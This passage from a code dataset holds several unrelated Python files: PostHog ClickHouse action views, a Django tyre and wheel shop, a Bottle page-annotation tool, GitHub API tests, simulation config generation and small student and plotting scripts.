else:\r\n stillOK = False\r\n pos1 += 1\r\n return stillOK\r\n\r\n\r\ndef areyouok(s1,s2):\r\n return anagramSolution(s1, s2) and anagramSolution(s2, s1)\r\n\r\nprint(areyouok('abaacd','aadcba'))\r\n","sub_path":"example/change_order_v1.py","file_name":"change_order_v1.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"214291309","text":"# NOTE: bad django practice but /ee specifically depends on /posthog so it should be fine\nfrom datetime import datetime, timedelta\nfrom typing import Any, Dict, List, Optional\n\nfrom dateutil.relativedelta import relativedelta\nfrom django.utils import timezone\nfrom rest_framework import serializers\nfrom rest_framework.decorators import action\nfrom rest_framework.request import Request\nfrom rest_framework.response import Response\nfrom sentry_sdk.api import capture_exception\n\nfrom ee.clickhouse.client import sync_execute\nfrom ee.clickhouse.models.action import format_action_filter, format_entity_filter\nfrom ee.clickhouse.models.cohort import format_filter_query\nfrom ee.clickhouse.models.person import ClickhousePersonSerializer\nfrom ee.clickhouse.models.property import parse_prop_clauses\nfrom ee.clickhouse.queries.trends.util import get_active_user_params\nfrom ee.clickhouse.queries.util import parse_timestamps\nfrom ee.clickhouse.sql.person import (\n GET_LATEST_PERSON_DISTINCT_ID_SQL,\n GET_LATEST_PERSON_SQL,\n INSERT_COHORT_ALL_PEOPLE_THROUGH_DISTINCT_SQL,\n PEOPLE_SQL,\n PEOPLE_THROUGH_DISTINCT_SQL,\n PERSON_STATIC_COHORT_TABLE,\n PERSON_TREND_SQL,\n)\nfrom ee.clickhouse.sql.trends.volume import PERSONS_ACTIVE_USER_SQL\nfrom posthog.api.action import ActionSerializer, ActionViewSet\nfrom posthog.api.utils import get_target_entity\nfrom posthog.constants import MONTHLY_ACTIVE, WEEKLY_ACTIVE\nfrom posthog.models.action import Action\nfrom posthog.models.cohort import Cohort\nfrom posthog.models.entity import Entity\nfrom posthog.models.filters import Filter\nfrom posthog.models.property import Property\nfrom posthog.models.team import Team\n\n\nclass ClickhouseActionSerializer(ActionSerializer):\n is_calculating = serializers.SerializerMethodField()\n\n def get_count(self, action: Action) -> Optional[int]:\n if self.context.get(\"view\") and self.context[\"view\"].action != \"list\":\n query, params = format_action_filter(action)\n if query == \"\":\n return None\n try:\n return sync_execute(\n \"SELECT count(1) FROM events WHERE team_id = %(team_id)s AND {}\".format(query),\n {\"team_id\": action.team_id, **params},\n )[0][0]\n except Exception as e:\n capture_exception(e)\n return None\n return None\n\n def get_is_calculating(self, action: Action) -> bool:\n return False\n\n def _calculate_action(self, action: Action) -> None:\n # Don't calculate actions in Clickhouse as it's on the fly\n pass\n\n\nclass ClickhouseActionsViewSet(ActionViewSet):\n serializer_class = ClickhouseActionSerializer\n\n def list(self, request: Request, *args: Any, **kwargs: Any) -> Response:\n actions = self.get_queryset()\n actions_list: List[Dict[Any, Any]] = self.serializer_class(actions, many=True, context={\"request\": request}).data # type: ignore\n return Response({\"results\": actions_list})\n\n @action(methods=[\"GET\"], detail=False)\n def people(self, request: Request, *args: Any, **kwargs: Any) -> Response:\n team = self.team\n filter = Filter(request=request)\n entity = get_target_entity(request)\n\n current_url = request.get_full_path()\n serialized_people = calculate_entity_people(team, entity, filter)\n\n current_url = request.get_full_path()\n next_url: Optional[str] = request.get_full_path()\n offset = filter.offset\n if len(serialized_people) > 100 and next_url:\n if \"offset\" in next_url:\n next_url = next_url[1:]\n next_url = next_url.replace(\"offset=\" + str(offset), \"offset=\" + str(offset + 100))\n else:\n next_url = request.build_absolute_uri(\n \"{}{}offset={}\".format(next_url, \"&\" if \"?\" in next_url else \"?\", offset + 100)\n )\n else:\n next_url = None\n return Response(\n {\n \"results\": [{\"people\": serialized_people[0:100], \"count\": len(serialized_people[0:99])}],\n \"next\": next_url,\n \"previous\": current_url[1:],\n }\n )\n\n\ndef _handle_date_interval(filter: Filter) -> Filter:\n # adhoc date handling. parsed differently with django orm\n date_from = filter.date_from or timezone.now()\n data = {}\n if filter.interval == \"month\":\n data.update(\n {\"date_to\": (date_from + relativedelta(months=1) - timedelta(days=1)).strftime(\"%Y-%m-%d %H:%M:%S\")}\n )\n elif filter.interval == \"week\":\n data.update({\"date_to\": (date_from + relativedelta(weeks=1)).strftime(\"%Y-%m-%d %H:%M:%S\")})\n elif filter.interval == \"hour\":\n data.update({\"date_to\": date_from + timedelta(hours=1)})\n elif filter.interval == \"minute\":\n data.update({\"date_to\": date_from + timedelta(minutes=1)})\n return Filter(data={**filter._data, **data})\n\n\ndef _process_content_sql(team: Team, entity: Entity, filter: Filter):\n\n filter = _handle_date_interval(filter)\n\n parsed_date_from, parsed_date_to, _ = parse_timestamps(filter=filter, team_id=team.pk)\n entity_sql, entity_params = format_entity_filter(entity=entity)\n person_filter = \"\"\n person_filter_params: Dict[str, Any] = {}\n\n if filter.breakdown_type == \"cohort\" and filter.breakdown_value != \"all\":\n cohort = Cohort.objects.get(pk=filter.breakdown_value)\n person_filter, person_filter_params = format_filter_query(cohort)\n person_filter = \"AND distinct_id IN ({})\".format(person_filter)\n elif (\n filter.breakdown_type == \"person\"\n and isinstance(filter.breakdown, str)\n and isinstance(filter.breakdown_value, str)\n ):\n person_prop = Property(**{\"key\": filter.breakdown, \"value\": filter.breakdown_value, \"type\": \"person\"})\n filter.properties.append(person_prop)\n\n prop_filters, prop_filter_params = parse_prop_clauses(\n filter.properties, team.pk, filter_test_accounts=filter.filter_test_accounts\n )\n params: Dict = {\"team_id\": team.pk, **prop_filter_params, **entity_params, \"offset\": filter.offset}\n\n if entity.math in [WEEKLY_ACTIVE, MONTHLY_ACTIVE]:\n active_user_params = get_active_user_params(filter, entity, team.pk)\n content_sql = PERSONS_ACTIVE_USER_SQL.format(\n entity_query=f\"AND {entity_sql}\",\n parsed_date_from=parsed_date_from,\n parsed_date_to=parsed_date_to,\n filters=prop_filters,\n breakdown_filter=\"\",\n person_filter=person_filter,\n **active_user_params,\n )\n else:\n content_sql = PERSON_TREND_SQL.format(\n entity_filter=f\"AND {entity_sql}\",\n parsed_date_from=parsed_date_from,\n parsed_date_to=parsed_date_to,\n filters=prop_filters,\n breakdown_filter=\"\",\n person_filter=person_filter,\n )\n return content_sql, {**params, **person_filter_params}\n\n\ndef calculate_entity_people(team: Team, entity: Entity, filter: Filter):\n content_sql, params = _process_content_sql(team, entity, filter)\n\n people = sync_execute(\n (PEOPLE_SQL if entity.math in [WEEKLY_ACTIVE, MONTHLY_ACTIVE] else PEOPLE_THROUGH_DISTINCT_SQL).format(\n content_sql=content_sql,\n latest_person_sql=GET_LATEST_PERSON_SQL.format(query=\"\"),\n latest_distinct_id_sql=GET_LATEST_PERSON_DISTINCT_ID_SQL,\n ),\n params,\n )\n serialized_people = ClickhousePersonSerializer(people, many=True).data\n\n return serialized_people\n\n\ndef insert_entity_people_into_cohort(cohort: Cohort, entity: Entity, filter: Filter):\n content_sql, params = _process_content_sql(cohort.team, entity, filter)\n sync_execute(\n INSERT_COHORT_ALL_PEOPLE_THROUGH_DISTINCT_SQL.format(\n cohort_table=PERSON_STATIC_COHORT_TABLE,\n content_sql=content_sql,\n latest_person_sql=GET_LATEST_PERSON_SQL.format(query=\"\"),\n latest_distinct_id_sql=GET_LATEST_PERSON_DISTINCT_ID_SQL,\n ),\n {\"cohort_id\": cohort.pk, \"_timestamp\": datetime.now(), **params},\n )\n\n\nclass LegacyClickhouseActionsViewSet(ClickhouseActionsViewSet):\n legacy_team_compatibility = True\n","sub_path":"ee/clickhouse/views/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":8279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"346209928","text":"import numpy as np\n\ndef true_thickness(T, top_enu, base_enu):\n '''\n T – coordinate transformation from ENU to SDP\n\n top and base are 1 x 3 arrays defining the location\n of top and base points in an ENU coordinate system.\n For each one of these arrays, the first, second\n and third entries are the E, N and U coordinates\n '''\n top_sdp = np.dot(T, top_enu)\n base_sdp = np.dot(T, base_enu)\n\n # compute the thickness of the unit. Eq. 5.12\n return np.abs(base_sdp[2] - top_sdp[2])","sub_path":"source/functions/true_thickness.py","file_name":"true_thickness.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"333093727","text":"from django.shortcuts import render\nfrom django.http.response import *\nfrom django.template.loader import get_template\nfrom django.template import *\nfrom django import template\nfrom django.shortcuts import *\nfrom shop.models import *\nimport sqlite3\nimport json\n\n# Create your views here.\n\nregister = template.Library()\nconn = sqlite3.connect('db.sqlite3', check_same_thread=False)\n\n\ndef index(request):\n prod_cart = 0\n\n cookie = request.COOKIES.get('tyres')\n if cookie is None:\n prod_cart = 0\n elif cookie == '':\n prod_cart = 0\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n prod_cart += len(array)\n\n cookie = request.COOKIES.get('discs')\n if cookie is None:\n prod_cart += 0\n elif cookie == '':\n prod_cart += 0\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n prod_cart += len(array)\n\n return render_to_response('index.html', {'prod_cart': prod_cart})\n\n\ndef cart(request):\n prod_cart = 0\n tyres = None\n discs = None\n\n cookie = request.COOKIES.get('tyres')\n if cookie is None:\n prod_cart = 0\n elif cookie == '':\n prod_cart = 0\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n tyres = Tyre.objects.filter(id__in=array)\n prod_cart += len(array)\n\n cookie = request.COOKIES.get('discs')\n if cookie is None:\n prod_cart += 0\n elif cookie == '':\n prod_cart += 0\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n discs = Disc.objects.filter(id__in=array)\n\n status = request.COOKIES.get('jdd2h')\n\n return render_to_response('cart.html', {'prod_cart': prod_cart, 'discs': discs, 'tyres': tyres, 'status': status}, context_instance=RequestContext(request))\n\n\ndef tyres(request):\n prod_cart = 0\n\n cookie = request.COOKIES.get('tyres')\n if cookie is None:\n tyres_cookie = ''\n prod_cart = 0\n elif cookie == '':\n tyres_cookie = ''\n prod_cart = 0\n else:\n tyres_cookie = cookie.split('%2C')\n tyres_cookie = [int(i) for i in tyres_cookie]\n prod_cart += len(tyres_cookie)\n\n cdisc = request.COOKIES.get('discs')\n if cdisc is None:\n prod_cart += 0\n elif cdisc == '':\n prod_cart += 0\n else:\n disc_cook = cdisc.split('%2C')\n disc_cook = [int(i) for i in disc_cook]\n prod_cart += len(disc_cook)\n\n c = conn.cursor()\n\n # минимальные и максимальные значение стоимости\n c.execute('select min(price_tyre) from shop_tyre LIMIT 1')\n min_price = c.fetchone()[0]\n c.execute('select max(price_tyre) from shop_tyre LIMIT 1')\n max_price = c.fetchone()[0]\n\n count = Tyre.objects.filter(active_tyre=1).count()\n\n vendors = VendorTyre.objects.order_by('name_vendor_tyre')\n types = TypeTyre.objects.all()\n dias = DiaTyre.objects.order_by('name_dia_tyre')\n widths = WidthTyre.objects.order_by('name_width_tyre')\n heights = HeightTyre.objects.order_by('name_height_tyre')\n tyres = Tyre.objects.filter(active_tyre=1)\n\n # здесь будет обработчик по параметрам\n\n cookie = request.COOKIES.get('pricet')\n if cookie is None or cookie == '' or cookie == '0':\n tyres = tyres.order_by('price_tyre')\n else:\n tyres = tyres.order_by('-price_tyre')\n\n cookie = request.COOKIES.get('vendort')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = VendorTyre.objects.filter(id__in=array)\n tyres = tyres.filter(vendor_tyre__in=param)\n\n cookie = request.COOKIES.get('typet')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = TypeTyre.objects.filter(id__in=array)\n tyres = tyres.filter(type_tyre__in=param)\n\n cookie = request.COOKIES.get('diamt')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = DiaTyre.objects.filter(id__in=array)\n tyres = tyres.filter(dia_tyre__in=param)\n\n cookie = request.COOKIES.get('widtht')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = WidthTyre.objects.filter(id__in=array)\n tyres = tyres.filter(width_tyre__in=param)\n\n cookie = request.COOKIES.get('heightt')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = HeightTyre.objects.filter(id__in=array)\n tyres = tyres.filter(height_tyre__in=param)\n\n cookie = request.COOKIES.get('minpricet')\n if cookie is None or cookie == '':\n x = None\n else:\n tyres = tyres.filter(price_tyre__gte=cookie)\n\n cookie = request.COOKIES.get('maxpricet')\n if cookie is None or cookie == '':\n x = None\n else:\n tyres = tyres.filter(price_tyre__lte=cookie)\n\n # закончим выбор по парметрам\n\n count_t = tyres.count()\n\n return render(request, 'tyres.html', {'vendors': vendors, 'types': types, 'dias': dias, 'widths': widths, 'heights': heights, 'tyres': tyres, 'tyres_cookie': tyres_cookie, 'prod_cart': prod_cart, 'min_price': min_price, 'max_price': max_price, 'count': count, 'count_t': count_t})\n\n\ndef discs(request):\n prod_cart = 0\n\n cookie = request.COOKIES.get('discs')\n if cookie is None:\n discs_cookie = ''\n prod_cart = 0\n elif cookie == '':\n discs_cookie = ''\n prod_cart = 0\n else:\n discs_cookie = cookie.split('%2C')\n discs_cookie = [int(i) for i in discs_cookie]\n prod_cart += len(discs_cookie)\n\n ctyre = request.COOKIES.get('tyres')\n if ctyre is None:\n prod_cart += 0\n elif ctyre == '':\n prod_cart += 0\n else:\n tyre_cook = ctyre.split('%2C')\n tyre_cook = [int(i) for i in tyre_cook]\n prod_cart += len(tyre_cook)\n\n c = conn.cursor()\n\n # минимальные и максимальные значения центрального диаметра\n c.execute('select min(central_hole_dia_disc) from shop_disc LIMIT 1')\n min_central_hole = c.fetchone()[0]\n c.execute('select max(central_hole_dia_disc) from shop_disc LIMIT 1')\n max_central_hole = c.fetchone()[0]\n\n # минимальные и максимальные значения вылета\n c.execute('select min(gab_disc) from shop_disc LIMIT 1')\n min_gab = c.fetchone()[0]\n c.execute('select max(gab_disc) from shop_disc LIMIT 1')\n max_gab = c.fetchone()[0]\n\n # минимальные и максимальные значение стоимости\n c.execute('select min(price_disc) from shop_disc LIMIT 1')\n min_price = c.fetchone()[0]\n c.execute('select max(price_disc) from shop_disc LIMIT 1')\n max_price = c.fetchone()[0]\n\n count = Disc.objects.filter(active_disc=1).count()\n\n # вытащим параметры для поиска\n vendors = VendorDisc.objects.order_by('name_vendor_disc')\n types = TypeDisc.objects.all()\n dias = DiaDisc.objects.order_by('name_dia_disc')\n widths = WidthDisc.objects.order_by('name_width_disc')\n count_holes = CountHoleDisc.objects.order_by('name_count_hole_disc')\n dia_holes = DiaHoleDisc.objects.order_by('name_dia_hole_disc')\n\n discs = Disc.objects.filter(active_disc=1)\n\n # здесь будет обработчик по параметрам\n\n cookie = request.COOKIES.get('priced')\n if cookie is None or cookie == '' or cookie == '0':\n discs = discs.order_by('price_disc')\n else:\n discs = discs.order_by('-price_disc')\n\n cookie = request.COOKIES.get('vendord')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = VendorDisc.objects.filter(id__in=array)\n discs = discs.filter(vendor_disc__in=param)\n\n cookie = request.COOKIES.get('typed')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = TypeDisc.objects.filter(id__in=array)\n discs = discs.filter(type_disc__in=param)\n\n cookie = request.COOKIES.get('diamd')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = DiaDisc.objects.filter(id__in=array)\n discs = discs.filter(dia_disc__in=param)\n\n cookie = request.COOKIES.get('widthd')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = WidthDisc.objects.filter(id__in=array)\n discs = discs.filter(width_disc__in=param)\n\n cookie = request.COOKIES.get('diad')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = DiaHoleDisc.objects.filter(id__in=array)\n discs = discs.filter(dia_hole_disc__in=param)\n\n cookie = request.COOKIES.get('countd')\n if cookie is None or cookie == '':\n x = None\n else:\n array = cookie.split('%2C')\n array = [int(i) for i in array]\n param = CountHoleDisc.objects.filter(id__in=array)\n discs = discs.filter(count_hole_disc__in=param)\n\n cookie = request.COOKIES.get('mindiad')\n if cookie is None or cookie == '':\n x = None\n else:\n discs = discs.filter(central_hole_dia_disc__gte=cookie)\n\n cookie = request.COOKIES.get('maxdiad')\n if cookie is None or cookie == '':\n x = None\n else:\n discs = discs.filter(central_hole_dia_disc__lte=cookie)\n\n cookie = request.COOKIES.get('minetd')\n if cookie is None or cookie == '':\n x = None\n else:\n discs = discs.filter(gab_disc__gte=cookie)\n\n cookie = request.COOKIES.get('maxetd')\n if cookie is None or cookie == '':\n x = None\n else:\n discs = discs.filter(gab_disc__lte=cookie)\n\n cookie = request.COOKIES.get('minpriced')\n if cookie is None or cookie == '':\n x = None\n else:\n discs = discs.filter(price_disc__gte=cookie)\n\n cookie = request.COOKIES.get('maxpriced')\n if cookie is None or cookie == '':\n x = None\n else:\n discs = discs.filter(price_disc__lte=cookie)\n\n # закончим выбор по парметрам\n\n count_s = discs.count()\n\n return render_to_response('discs.html', {'discs': discs, 'discs_cookie': discs_cookie, 'vendors': vendors, 'types': types, 'dias': dias, 'widths': widths, 'count_holes': count_holes, 'dia_holes': dia_holes, 'min_central': min_central_hole, 'max_central': max_central_hole, 'min_gab': min_gab, 'max_gab': max_gab, 'min_price': min_price, 'max_price': max_price, 'count': count, 'count_s': count_s, 'prod_cart': prod_cart})\n\n\n# Офрмим заявку на товар\ndef applyorder(request):\n if request.POST:\n fam = request.POST['fam']\n name = request.POST['name']\n addr = request.POST['address']\n phone = request.POST['phone']\n mail = request.POST['email']\n comment = request.POST['comment']\n zakaz = Zakaz(fam=fam, name=name, address=addr, phone=phone, email=mail, comment=comment);\n zakaz.save()\n id = zakaz.id\n zak = Zakaz.objects.get(id=id)\n\n cookie = request.POST['tyres']\n if cookie is None or cookie == '':\n c = 0\n else:\n array = cookie.split(',')\n for i in array:\n min = i.split('-')\n k = 0\n a = ''\n b = ''\n for x in min:\n if k == 0:\n a = Tyre.objects.get(id=x)\n k += 1\n else:\n b = x\n tovar = ZakazTovar(tyre=a, count=b, zakaz=zak)\n tovar.save()\n\n cookie = request.POST['discs']\n if cookie is None or cookie == '':\n c = 0\n else:\n array = cookie.split(',')\n for i in array:\n min = i.split('-')\n k = 0\n a = ''\n b = ''\n for x in min:\n if k == 0:\n a = Disc.objects.get(id=x)\n k += 1\n else:\n b = x\n tovar = ZakazTovar(disc=a, count=b, zakaz=zak)\n tovar.save()\n\n response = redirect('/cart')\n response.set_cookie('jdd2h', '1')\n response.set_cookie('tyres', '')\n response.set_cookie('discs', '')\n return response","sub_path":"shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"233990741","text":"import sys, os\nfrom bottle import get, post, run, template, request\n\nfrom bs4 import BeautifulSoup\nfrom make_sections import make_sections, Heading, Paragraph, List\nfrom find_root import find_root_element\n\nfrom urllib.request import urlopen\nfrom urllib.parse import urlparse\n\n\ndef main():\n\n urls = [line.strip() for line in sys.stdin]\n extract = Extract(sys.argv[2], urls, int(sys.argv[1]))\n\n get(\"/\")(extract.start_page)\n post(\"/\")(extract.annotate_page)\n\n print(\"Hello human annotator. Visit http://localhost:8080 in your browser.\")\n run(host='localhost', port=8080, quiet=True)\n\n\nclass Extract:\n\n def __init__(self, output_dir, urls, word_limit):\n\n self.dir = os.path.dirname(__file__)\n\n self.output_dir = os.path.abspath(output_dir)\n if not os.path.isdir(output_dir):\n os.makedirs(output_dir)\n\n self.help_temp = os.path.join(self.dir, \"templates/help.html\")\n self.start_temp = os.path.join(self.dir, \"templates/start.html\")\n self.annotate_temp = os.path.join(self.dir, \"templates/annotate.html\")\n self.done_temp = os.path.join(self.dir, \"templates/done.html\")\n\n self.urls = urls\n self.word_limit = word_limit\n\n\n def start_page(self):\n\n url_list = \"\\n\".join([\"
  • \" + url + \"
  • \" for url in self.urls])\n\n return template(self.start_temp,\n urls=url_list,\n help=self.__help_page())\n\n\n def annotate_page(self):\n\n self.__write_annotations()\n\n if self.__has_next_url():\n\n url = self.__next_url()\n body = self.__process_url(url)\n\n filename = urlparse(url).netloc + \".html\"\n\n return template(self.annotate_temp,\n text=body,\n file=filename,\n words=self.word_limit,\n help=self.__help_page())\n else:\n\n return self.done_page()\n \n\n def done_page(self):\n\n return template(self.done_temp, output=self.output_dir)\n\n\n def __help_page(self):\n\n return template(self.help_temp, words=self.word_limit)\n\n\n def __write_annotations(self):\n\n try:\n result = request.forms.get(\"result\")\n filename = request.forms.get(\"file\")\n\n with open(os.path.join(self.output_dir, filename), \"w\") as f:\n f.write(result.replace(\"
    \", \"\"))\n\n except:\n pass\n\n\n def __has_next_url(self):\n\n return len(self.urls) > 0\n\n\n def __next_url(self):\n\n return self.urls.pop()\n\n\n def __process_url(self, url):\n\n page = urlopen(url)\n soup = BeautifulSoup(page, \"html.parser\")\n root = find_root_element(soup)\n\n html = \"\"\n\n for section in make_sections(root):\n\n if type(section) is Heading:\n html += \"\" \\\n + section.text + \"

    \"\n\n elif type(section) is List:\n for item in section.items:\n html += \"\" \\\n + item + \"

    \"\n\n elif type(section) is Paragraph:\n html += \"\" \\\n + section.text + \"

    \"\n\n return html\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"254718289","text":"#mood guess!\n\n#import module (random)\nimport random\n\n#define a function called moodGuess with 1 parameter value of moodValue\ndef moodGuess(moodValue):\n\n#based on the value of random.randint, returns one of the 9 moods\n if moodValue == 1:\n return 'You are happy?'\n elif moodValue == 2:\n return 'You are sleepy?'\n elif moodValue == 3:\n return 'You are shocked?'\n elif moodValue == 4:\n return 'You are hungry?'\n elif moodValue == 5:\n return 'You are sad?'\n elif moodValue == 6:\n return 'You are excited?'\n elif moodValue == 7:\n return 'You are proud?'\n elif moodValue == 8:\n return 'You are calm?'\n elif moodValue == 9:\n return 'You are lonely?'\n\n#(result) variable is assigned to value of module (random)/function (randint)\n#the function randint evaluates to a random value from 1 to 9. \nresult = random.randint(1, 9)\n\n#(mood) variable is assigned and called to function (moodGuess)\n#the parameter of (moodValue) is now equal to (result) \n#based on the value evaluated from randint, determines the guess of mood.\nmood = moodGuess(result)\n\n#prints the mood guess.\nprint(mood) \n","sub_path":"Project-MoodGuess.py","file_name":"Project-MoodGuess.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"642392914","text":"import _setup\n\nfrom nose.tools import assert_equals\n\nimport utils\n\n\nclass ReprTests(utils.HttpMockTestCase):\n def test_issue_repr(self):\n issue = self.client.issues.show('ask/python-github2', 24)\n assert_equals(repr(issue),\n '')\n\n def test_comment_repr(self):\n comments = self.client.issues.comments('ask/python-github2', 24)\n assert_equals(repr(comments[1]),\n '')\n\n\nclass IssueQueries(utils.HttpMockTestCase):\n \"\"\"Test issue querying\"\"\"\n def test_search(self):\n issues = self.client.issues.search('ask/python-github2', 'timezone',\n 'closed')\n assert_equals(len(issues), 2)\n assert_equals(issues[1].number, 39)\n\n def test_list(self):\n issues = self.client.issues.list('ask/python-github2')\n assert_equals(len(issues), 4)\n assert_equals(issues[-1].number, 58)\n\n def test_list_with_state(self):\n issues = self.client.issues.list('ask/python-github2', \"closed\")\n assert_equals(len(issues), 55)\n assert_equals(issues[0].number, 59)\n\n def test_issue_labels(self):\n labels = self.client.issues.list_labels('JNRowe/misc-overlay')\n assert_equals(len(labels), 4)\n assert_equals(labels[0], 'feature')\n","sub_path":"tests/test_issues.py","file_name":"test_issues.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"567161328","text":"from pathlib import Path\n\nimport pandas as pd\nimport numpy as np\nimport yaml\n\n\ndef config_from_csv(scenarios_csv_path_, settings_path_, config_path_, bat_path_):\n\n # Read scenarios file in DataFrame\n scenarios_df = pd.read_csv(scenarios_csv_path_)\n # Read settings file\n with open(settings_path_, 'rt') as settings_file:\n settings = yaml.safe_load(settings_file)\n print(settings)\n\n global_vars = {}\n with open(bat_path_, 'w') as bat_file:\n # Iterate over rows in scenarios file\n for row in scenarios_df.iterrows():\n scenario = int(row[1]['scenario'].tolist())\n\n global_vars['arrival_rate'] = row[1]['arrival_rate'].tolist()\n\n global_vars['mean_los_obs'] = row[1]['mean_los_obs'].tolist()\n global_vars['num_erlang_stages_obs'] = int(row[1]['num_erlang_stages_obs'])\n\n global_vars['mean_los_ldr'] = float(row[1]['mean_los_ldr'])\n global_vars['num_erlang_stages_ldr'] = int(row[1]['num_erlang_stages_ldr'])\n\n global_vars['mean_los_pp_noc'] = float(row[1]['mean_los_pp_noc'])\n global_vars['mean_los_pp_c'] = float(row[1]['mean_los_pp_c'])\n global_vars['num_erlang_stages_pp'] = int(row[1]['num_erlang_stages_pp'])\n\n global_vars['mean_los_csect'] = float(row[1]['mean_los_csect'])\n global_vars['num_erlang_stages_csect'] = int(row[1]['num_erlang_stages_csect'])\n\n global_vars['c_sect_prob'] = float(row[1]['c_sect_prob'])\n\n config = {}\n config['locations'] = settings['locations']\n cap_obs = int(row[1]['cap_obs'].tolist())\n cap_ldr = int(row[1]['cap_ldr'].tolist())\n cap_pp = int(row[1]['cap_pp'].tolist())\n config['locations'][1]['capacity'] = cap_obs\n config['locations'][2]['capacity'] = cap_ldr\n config['locations'][4]['capacity'] = cap_pp\n\n\n # Write scenario config file\n\n config['scenario'] = scenario\n config['run_settings'] = settings['run_settings']\n config['paths'] = settings['paths']\n config['random_number_streams'] = settings['random_number_streams']\n\n config['routes'] = settings['routes']\n config['global_vars'] = global_vars\n\n config_file_path = Path(config_path_) / f'scenario_{scenario}.yaml'\n\n with open(config_file_path, 'w', encoding='utf-8') as config_file:\n yaml.dump(config, config_file)\n\n run_line = f\"python obflow_6.py {config_file_path} --loglevel=WARNING\\n\"\n bat_file.write(run_line)\n\n\nif __name__ == '__main__':\n scenarios_csv_path = Path('input/exp10_obflow06_metainputs.csv')\n settings_path = Path('input/exp11_obflow06_settings.yaml')\n config_path = Path('input/config/exp11')\n bat_path = Path('./run') / 'exp11_obflow06_run.sh'\n\n config_from_csv(scenarios_csv_path, settings_path, config_path, bat_path)","sub_path":"create_configs.py","file_name":"create_configs.py","file_ext":"py","file_size_in_byte":2947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"352995614","text":"verdade = True\n\nlista_assistiu = 0\nlista_nao_assistiu = 0\nbabacas = 0\n\nlista = []\nlista2 = []\n\nwhile verdade == True:\n\n nome = input('Forneça seu nome: ')\n\n if nome == 'fim':\n verdade = False\n \n assistiu = input('Já assistiu Avengers? (s) para sim e (n) para não: ')\n\n \n if assistiu == 's':\n lista_assistiu += 1\n lista.append(nome)\n\n elif assistiu == 'n':\n lista_nao_assistiu += 1\n lista2.append(nome)\n\n else:\n babacas =+ 1\n\n print('')\n\nprint('Pessoas que já assistiu: ', lista_assistiu)\nprint('Pessoas que não assistiu: ', lista_nao_assistiu)\nprint('')\n\ntam = len(lista)\ntam2 = len(lista2)\n\nprint('Nome das pessoas que já assistiu: ')\nfor i in range(0, tam):\n print(lista[i])\n\nprint('')\n\nprint('Nome das pessoas que não assistiu: ')\nfor i in range(0, tam2):\n print(lista2[i])\n","sub_path":"Assistiu_lista.py","file_name":"Assistiu_lista.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"289945632","text":"N = int(input())\r\n\r\nvalores = []\r\nresultados = []\r\n\r\nfor i in range(N):\r\n valor = raw_input()\r\n valores.append(valor.split(\" \"))\r\n \r\nfor i in range(N):\r\n a = valores[i]\r\n valor1 = float(a[0])\r\n valor2 = float(a[1])\r\n valor3 = float(a[2])\r\n resultados.append((2*valor1 +valor2*3 + 5*valor3)/10)\r\n\r\nfor i in range(N):\r\n print (\"{:.1f}\".format(resultados[i]))","sub_path":"src/unifor/URI/python/1079.py","file_name":"1079.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"423100835","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 26 16:38:19 2020\n\n@author: Lauren-Nizkorodov\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib import dates as mpl_dates\nfrom datetime import datetime\nimport matplotlib.ticker as mtick\n\n#Import the data\nds = pd.read_csv('C:\\\\airprow\\model_4.csv')\n\n#Format the data\nds.columns = ['Time', 'observed_HONO', 'gas phase', 'emissions', 'heterogeneous', 'illuminated heterogeneous', 'particulate nitrate'] \nds['Time'] = pd.to_datetime(ds['Time']) #Converts time to a timestamp list\n#Haze = ds.loc[:272, 'Time':'HONO_2he']\n#Nonhaze = ds.loc[273:, 'Time':'HONO_24n']\n\n#Make a blank figure\nfig = plt.figure(figsize= (10,5))\nax = fig.add_subplot(1,1,1) 